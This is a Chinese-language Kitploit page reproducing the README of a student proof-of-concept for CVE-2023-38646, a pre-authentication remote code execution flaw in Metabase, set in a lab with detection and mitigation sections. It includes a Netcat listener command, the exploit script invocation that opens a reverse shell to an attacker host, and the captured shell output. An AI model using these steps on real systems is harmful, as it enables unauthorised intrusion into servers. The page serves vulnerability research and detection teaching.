Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Metabase-Pre-Auth-RCE-POC — CVE-2023-38646 | Kitploit
工具/GitHubGitHub/nosrevytsng/metabase-pre-auth-rce-poc
防御工具漏洞分析漏洞利用Web安全渗透测试入侵检测学习与教育事件响应Payload 开发
GitHubnosrevytsng/metabase-pre-auth-rce-poc

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646

116个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2023-38646 — Metabase 远程代码执行 (RCE) 概念验证

概述

本仓库记录了一个概念验证 (PoC) 安全研究项目,分析影响Metabase易受攻击版本的严重预认证远程代码执行 (RCE) 漏洞 CVE-2023-38646。

该项目的目标是展示真实世界漏洞的完整生命周期,包括:

  • 理解漏洞及其根本原因
  • 在受控实验环境中复现利用
  • 在易受攻击系统上建立反向 Shell
  • 通过网络监控工具观察攻击行为
  • 展示检测工程技术
  • 提出防御缓解策略

本仓库旨在展示以下方面的实践技能:

  • 漏洞研究
  • 利用复现
  • 反向 Shell 使用
  • 网络流量分析
  • 入侵检测系统
  • 安全缓解策略

漏洞背景

CVE-2023-38646 是一个影响特定版本 Metabase(一个开源商业智能与分析平台)的严重漏洞。

该漏洞允许攻击者通过利用应用程序设置或配置过程中的弱点实现未认证远程代码执行。

关键细节:

  • CVE ID: CVE-2023-38646
  • 严重性: 严重
  • CVSS 评分: 9.8
  • 攻击向量: 网络
  • 需要认证: 否
  • 影响: 远程代码执行 (RCE)

成功利用使攻击者能够:

  • 在目标系统上执行任意命令
  • 建立反向 Shell
  • 可能获得完整的系统控制

官方参考:

  • https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  • https://www.metabase.com/

使用的技术与工具

该项目结合了攻击性安全工具和防御性监控工具。

攻击性安全

  • Python
  • 反向 Shell 负载
  • 自定义利用脚本
  • Metabase 易受攻击实例

检测与监控

  • Suricata — 入侵检测系统 (IDS)
  • Zeek — 网络安全监控 (NSM)

防御技术

  • ModSecurity — Web 应用防火墙
  • OSSEC — 基于主机的入侵检测系统

实验环境

占位符 — 描述您的实验室设置

示例:

  • 攻击机:Kali Linux
  • 目标机:易受攻击的 Metabase 服务器
  • 网络监控机:安全监控虚拟机

利用 PoC

攻击链图

flowchart LR
    A[攻击者] --> B[易受攻击的 Metabase 实例]
    B --> C[CVE-2023-38646 利用]
    C --> D[远程代码执行]
    D --> E[反向 Shell 已建立]
    E --> F[在目标上执行命令]

该图说明了本项目中使用的高级攻击流程。

概念验证 (PoC) 设置

Docker 安装与设置:

sudo apt update
sudo apt upgrade -y

sudo apt install docker.io -y

sudo systemctl start docker 
sudo systemctl enable docker

sudo docker run hello-world

Docker 启动:

使用 Docker 部署了一个易受攻击的 Metabase Enterprise 实例 (v1.44.0)。

sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0

这将在端口 3000 上暴露 Metabase Web 界面,允许访问设置页面。

如果 Docker 已经在运行,执行以下命令行以重新开始:

sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise

'Docker 设置' 占位符

容器运行后,可以通过浏览器访问 Metabase 界面。

    http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup

设置页面确认 Metabase 实例已激活并准备进行配置。

利用场景 1

BurpSuite

演示 / 文档

占位符用于截图或说明

利用场景 2 - Python 脚本利用

  1. 反向 Shell 监听器准备

在发起利用之前,在攻击机上启动一个 Netcat 监听器以接收反向 Shell 连接。

    nc -lvnp 6666

该监听器等待来自被利用的 Metabase 服务器的传入连接。

占位符用于截图或说明

  1. 利用执行 从攻击机执行利用脚本。
    python3 CVE-2023-38646-Reverse-Shell.py \   ---> 利用名称
    --rhost http://192.168.1.136:3000 \         ---> 目标 IP 地址
    --lhost 192.168.1.137 \                     ---> 攻击者 IP 地址
    --lport 6666                                ---> 攻击者监听端口

有效载荷执行一条命令,该命令向攻击机建立反向 Shell。

  1. 反向 Shell 已建立 成功执行有效载荷后,易受攻击的 Metabase 实例向攻击机发起连接。

Netcat 监听器接收连接,授予攻击者对系统的 Shell 访问权限。

    connect to [192.168.1.137] from 192.168.1.136
    bash: cannot set terminal process group
    bash: no job control in this shell
    bash-5.1$

确认与受害者设备的连接:

    whoami

输出:

    connect to [192.168.1.137] from 192.168.1.136
    bash: cannot set terminal process group
    bash: no job control in this shell
    bash-5.1$ whoami
    whoami
    metabase
    bash-5.1$

检测工程 PoC

本项目还演示了如何使用网络监控工具检测利用活动。

Suricata 检测

使用 Suricata (IDS) 监控网络流量,寻找与利用相关的可疑模式。

sudo suricata -i eth0

占位符:插入 Suricata 告警截图

evidence/detection/suricata_alert.png

为了实时观察告警,使用以下命令监控 Suricata 日志:

tail -f /var/log/suricata/fast.log

占位符:插入 Suricata 日志截图

evidence/detection/suricata_log.png

作为被动方法,使用自定义通知脚本,在 Suricata 检测到可疑流量时生成桌面告警。

nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &

当利用执行时,Suricata 生成告警,指示与 Metabase 利用尝试相关的可疑活动。

占位符:插入 Suricata 日志截图

evidence/detection/suricata_noti.png

示例:

占位符:插入 Suricata 日志截图

evidence/detection/suricata_noti.png

Zeek 网络分析

除了 IDS 监控,还使用 Zeek 分析网络流量并识别异常行为。

使用以下命令启动 Zeek 以开始捕获和分析网络流量:

sudo /usr/local/zeek/bin/zeek -i eth0

占位符:插入 Zeek 启动截图

evidence/detection/zeek.png

通过检查连接日志,可以观察到端口 6666 上的反向 Shell 流量。

192.168.1.136 → 192.168.1.137:6666

占位符:插入 Zeek 日志截图

evidence/detection/zeek_log.png

缓解与防御策略

多种缓解策略可以降低被利用的风险。

策略描述
补丁管理升级 Metabase 到修复 CVE-2023-38646 的版本
Web 应用防火墙 (ModSecurity)过滤恶意 HTTP 请求
主机入侵检测 (OSSEC)监控可疑系统行为
网络监控 (Suricata & Zeek)检测异常流量模式

仓库结构

cve-2023-38646-metabase-rce-research
│
├── exploit
│   └── metabase_reverse_shell.py
│
├── detection
│   ├── suricata
│   └── zeek
│
├── evidence
│   ├── exploitation
│   ├── detection
│   └── mitigation
│
├── docs
│   ├── report
│   └── presentation
│
└── demo

总结

本项目展示了分析并复现真实世界严重漏洞的完整生命周期。

PoC 展示了:

  • 漏洞分析
  • 利用复现
  • 反向 Shell 执行
  • 网络流量监控
  • 入侵检测
  • 防御缓解策略

本仓库的目标是提供一个技术案例研究,说明攻击性与防御性网络安全实践。


🖋️ 作者

Styverson Ng

信息技术学士
人工智能与自主系统
网络安全与网络取证

莫道克大学

下载工具